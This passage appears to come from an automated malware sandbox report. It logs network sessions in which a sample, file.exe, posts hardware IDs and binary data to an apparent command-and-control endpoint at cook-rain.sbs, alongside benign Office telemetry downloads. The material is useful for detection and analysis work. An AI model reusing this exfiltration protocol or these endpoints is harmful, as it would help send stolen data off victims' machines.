2024-11-19 23:19:08 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-19 23:19:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49713	188.114.97.3	443	5128	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:08 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ENWU05ZY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15051 Host: cook-rain.sbs
2024-11-19 23:19:08 UTC	15051	OUT	Data Raw: 2d 2d 45 4e 57 55 30 35 5a 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 46 35 44 46 36 39 44 36 35 41 45 42 33 41 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 45 4e 57 55 30 35 5a 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 45 4e 57 55 30 35 5a 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 45 4e 57 55 30 35 5a 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --ENWU05ZYContent-Disposition: form-data; name="hwid"DF5DF69D65AEB3AC63CFCF7E6C45F838--ENWU05ZYContent-Disposition: form-data; name="pid"2--ENWU05ZYContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--ENWU05ZYContent-Di
2024-11-19 23:19:09 UTC	983	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e07cis826dglh51ruj3i8aatjh; expires=Sat, 15-Mar-2025 17:05:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EmQO2o%2Fky8jLWQzDXpUmGAnHNqV28xKuU7U4THxegRvLaOCc1LGA1EyK2LyzEOz2HGeIKMIhbfnQKZWgVoaKLIh%2FmG%2BBkLxG7Ij9oaBD22tkmT4gmX44GYzl1mk6rtyZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e53ec684d8d43c1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1591&sent=9&recv=20&lost=0&retrans=0&sent_bytes=2830&recv_bytes=15978&delivery_rate=1767554&cwnd=237&unsent_bytes=0&cid=a995ef4d9ebaef5b&ts=651&x=0"
2024-11-19 23:19:09 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-19 23:19:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:10 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:10 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:10 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 13:10:03 GMT ETag: "0x8DD089B7B2F27B3" x-ms-request-id: 082f1a68-301e-005d-348c-3ae448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231910Z-r1d97b99577gg97qhC1TEBcrf400000007ug00000000db4h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:10 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-19 23:19:10 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-19 23:19:10 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-19 23:19:10 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-19 23:19:10 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-19 23:19:10 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-19 23:19:10 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-19 23:19:10 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-19 23:19:10 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-19 23:19:10 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49715	188.114.97.3	443	5128	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:10 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6CPNF1SUEE1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19927 Host: cook-rain.sbs
2024-11-19 23:19:10 UTC	15331	OUT	Data Raw: 2d 2d 36 43 50 4e 46 31 53 55 45 45 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 46 35 44 46 36 39 44 36 35 41 45 42 33 41 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 36 43 50 4e 46 31 53 55 45 45 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 36 43 50 4e 46 31 53 55 45 45 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 36 43 50 4e 46 31 53 55 45 45 31 Data Ascii: --6CPNF1SUEE1Content-Disposition: form-data; name="hwid"DF5DF69D65AEB3AC63CFCF7E6C45F838--6CPNF1SUEE1Content-Disposition: form-data; name="pid"3--6CPNF1SUEE1Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--6CPNF1SUEE1
2024-11-19 23:19:10 UTC	4596	OUT	Data Raw: 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: +?2+?2+?o?Mp5p_oI
2024-11-19 23:19:10 UTC	984	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4kpg3nvdtk64g7bidh26qu5k8r; expires=Sat, 15-Mar-2025 17:05:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5YcDb4qsLwQhXpYDWIcmkOdam0o9RXoxGjcwuM8eI4CV9Bbj2x5oike50HM6HSJMG8T8H%2F5dGoGoUa%2BdeLumTEypk87jIWUnXYxaxQxp7xJR9v5zMErGzscpzDoy%2FBnv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e53ec707e798c17-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1844&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2829&recv_bytes=20879&delivery_rate=1542525&cwnd=239&unsent_bytes=0&cid=7e10f8e85902bdb9&ts=634&x=0"
2024-11-19 23:19:10 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-19 23:19:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:11 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:11 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:11 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f909c6c7-c01e-0049-518c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231911Z-185f5d8b95cdtclvhC1NYC4rmc00000009eg00000000sf04 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:11 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:11 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:11 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231911Z-1777c6cb754xlpjshC1TEBv8cc00000008tg00000000rsz7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:11 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
